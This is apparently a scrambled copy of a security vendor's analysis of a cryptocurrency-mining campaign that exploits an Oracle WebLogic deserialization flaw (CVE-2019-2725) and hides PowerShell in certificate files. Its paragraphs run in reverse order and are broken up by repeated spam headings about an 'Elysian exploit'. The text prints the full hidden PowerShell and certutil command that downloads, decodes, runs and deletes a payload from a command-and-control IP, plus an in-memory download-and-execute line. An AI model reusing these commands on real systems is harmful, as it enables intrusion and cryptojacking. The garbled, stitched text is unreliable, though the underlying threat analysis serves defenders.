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- #ELYSIAN EXPLOIT 2019 INSTALL#
- #ELYSIAN EXPLOIT 2019 UPDATE#
- #ELYSIAN EXPLOIT 2019 SERIES#
- #ELYSIAN EXPLOIT 2019 DOWNLOAD#
Trend Micro endpoint solutions such as Trend Micro Smart Protection Suites and Worry-Free™ Business Security can protect users and businesses from these threats by detecting malicious files and blocking all related malicious URLs.
#ELYSIAN EXPLOIT 2019 UPDATE#
Thus, it is highly recommended for organizations that use WebLogic Server to update their software to the latest version to prevent any attacks that exploit the vulnerability from affecting their businesses. Oracle has already released an update that addresses CVE-2019-2725. This might indicate that the obfuscation method is currently being tested for its effectiveness, with its expansion to other malware variants pegged at a later date. However, oddly enough, upon execution of the PS command from the decoded certificate file, other malicious files are downloaded without being hidden via the certificate file format mentioned earlier. By using certificate files for obfuscation purposes, a piece of malware can possibly evade detection since the downloaded file is in a certificate file format which is seen as normal - especially when establishing HTTPS connections. If any actual incidents have been found, they are probably few. The idea of using certificate files to hide malware is not a new one: a proof of concept was introduced late last year by Sophos in which they demonstrated placing an Excel file with an embedded macro inside a certificate file. Certificate files as an obfuscation technique This is followed by the creation of a scheduled task that will execute the new update.ps1 every 30 minutes. The update.ps1 file containing the decoded certificate file is then replaced with the new update.ps1. Serves as the watchdog for the miner process Possibly used for the propagation and exploitation of WebLogic
#ELYSIAN EXPLOIT 2019 DOWNLOAD#
This script will then download and execute the following files: The PS command from the certificate file downloads and executes another PS script in memory. There is also the possibility that the certificate file we downloaded is different from the file that was actually intended to be downloaded by the remote command, perhaps because it is continuously being updated by the threat actors. One interesting characteristic of the downloaded certificate file is that it requires that it be decoded twice before the PS command is revealed, which is unusual since the command from the exploit only uses CertUtil once. However, upon decoding the base64 content, we found that, instead of the commonly used X.509 TLS file format, it actually comes in the form of the following PS command: iex(New-ObjectNet.WebClient).DownloadString('hxxp://139.180.199.167:1012/updateps1') When we downloaded the certificate file, we noticed that it looked like a normal Privacy-Enhanced Mail (PEM) format certificate.įigure 2. The newly created update.ps1 () file is then executed using PS before the downloaded cert.cer file is deleted using cmd. The decoded file is then saved as %APPDATA%\update.ps1. It then employs the component CertUtil, which is used to manage certificates in Windows, to decode the file. First, PowerShell (PS) is used to download a certificate file from the command-and-control (C&C) server and save it under %APPDATA% using the file name cert.cer (detected by Trend Micro as .component).
#ELYSIAN EXPLOIT 2019 SERIES#
The purpose of the command is to perform a series of routines. The infection chain Installation routineĪfter arriving on the target machine, the malware will exploit CVE-2019-2725 to execute the following command: “powershell.exe -Win hiddeN -Exec ByPasS add-content -path %APPDATA%cert.cer (New-Object Net.WebClient).DownloadString('hxxp://45.32.28.187:1012/cert.cer') certutil -decode %APPDATA%cert.cer %APPDATA%update.ps1 & start /b cmd /c powershell.exe -Exec Bypass -NoExit -File %APPDATA%update.ps1 & start /b cmd /c del %APPDATA%cert.cer” We managed to confirm these reports after feedback from the Trend Micro™ Smart Protection Network™ security architecture revealed a similar cryptocurrency-mining activity involving the vulnerability, but with an interesting twist - the malware hides its malicious codes in certificate files as an obfuscation tactic.
#ELYSIAN EXPLOIT 2019 INSTALL#
Soon after the advisory was published, reports emerged on the SANS ISC InfoSec forums that the vulnerability was already being actively exploited to install cryptocurrency miners. In April 2019, a security advisory was released for CVE-2019-2725, a deserialization vulnerability involving the widely used Oracle WebLogic Server.